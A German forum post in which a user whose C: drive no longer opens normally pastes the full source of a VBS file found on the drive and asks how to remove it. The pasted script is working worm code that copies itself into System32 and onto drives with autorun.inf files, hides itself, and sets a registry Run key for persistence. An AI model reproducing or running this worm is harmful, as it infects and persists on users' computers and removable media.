Ich bedanke mich schon mal im voraus für eure Hilfe!!!
Also hier mein Problem:
Wenn ich auf meine Festplatte C: doppelklicke öffnet sie sich nicht mehr wie normal.
Wenn ich dann mit der rechten Maustaste das Fenster öffne steht dann ganz groß und fett '' Autoplay "
Ich habe schon ein wenig im World Wide Web gesucht und
herausgefunden das ich mal direkt in C nach einer
.VBS datei suchen die ich auch gefunden habe.
Jetzt habe ich sie einfach mit dem Editor geöffnet und da
steht nun folgendes drin:
'Mutation of Trojan virus.
'My name is TOBI-PC.vbs
On error resume next
Dim mysource,winpath,flashdrive,fs,mf,atr,tf,rg,nt,check,sd,oldname,newname,rgname
Set fs = createobject("Scripting.FileSystemObject")
Set wn = WScript.CreateObject("WScript.Network")
Set mf = fs.getfile(Wscript.ScriptFullname)
oldname=CStr(fs.getfilename(Wscript.ScriptFullname))
newname = wn.ComputerName & ".vbs"
rgname = Replace(newname,".vbs","")
atr = "[autorun]"&vbcrlf&"shellexecute=wscript.exe TOBI-PC.vbs"
dim text,size
size = mf.size
check = mf.drive.drivetype
Set text=mf.openastextstream(1,-2)
do while not text.atendofstream
mysource=mysource&text.readline
mysource=mysource & vbcrlf
Loop
mysource=Replace(mysource,oldname,newname)
do
Set winpath = fs.getspecialfolder(0)
Set tf = fs.getfile(winpath & "\SYSTEM32\" & newname)
tf.attributes = 32
Set tf=fs.createtextfile(winpath & "\SYSTEM32\" & newname,2,true)
tf.write mysource
tf.close
Set tf = fs.getfile(winpath & "\SYSTEM32\" & newname)
tf.attributes = 39
For each flashdrive in fs.drives
If (flashdrive.drivetype = 1 or flashdrive.drivetype = 2) and flashdrive.path <> "A:" Then
Set tf=fs.getfile(flashdrive.path &"\TOBI-PC.vbs")
tf.attributes =32
Set tf=fs.createtextfile(flashdrive.path &"\TOBI-PC.vbs",2,true)
tf.write mysource
tf.close
Set tf=fs.getfile(flashdrive.path &"\TOBI-PC.vbs")
tf.attributes =39
Set tf =fs.getfile(flashdrive.path &"\autorun.inf")
tf.attributes = 32
Set tf=fs.createtextfile(flashdrive.path &"\autorun.inf",2,true)
tf.write atr
tf.close
Set tf =fs.getfile(flashdrive.path &"\autorun.inf")
tf.attributes=39
End If
next
Set rg = createobject("WScript.Shell")
rg.regwrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\" & rgname & "",winpath&"\SYSTEM32\" & newname
rg.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Window Title","Hacked by " & Replace(oldname, ".vbs","")
if check <> 1 then
Wscript.sleep 120000
End if
loop while check<>1
Set sd = createobject("Wscript.shell")
sd.run winpath&"\explorer.exe /e,/select, "&Wscript.ScriptFullname
WAS MUSS ICH JETZT MACHEN???
Tobi aus Erfurt Gast |
jetzt konnte ich es unter C löschen aber bei system23 ist es immer noch und kann nicht gelöscht werden da die DATEI von einem anderen Programm oder Person verwendet wird... =(
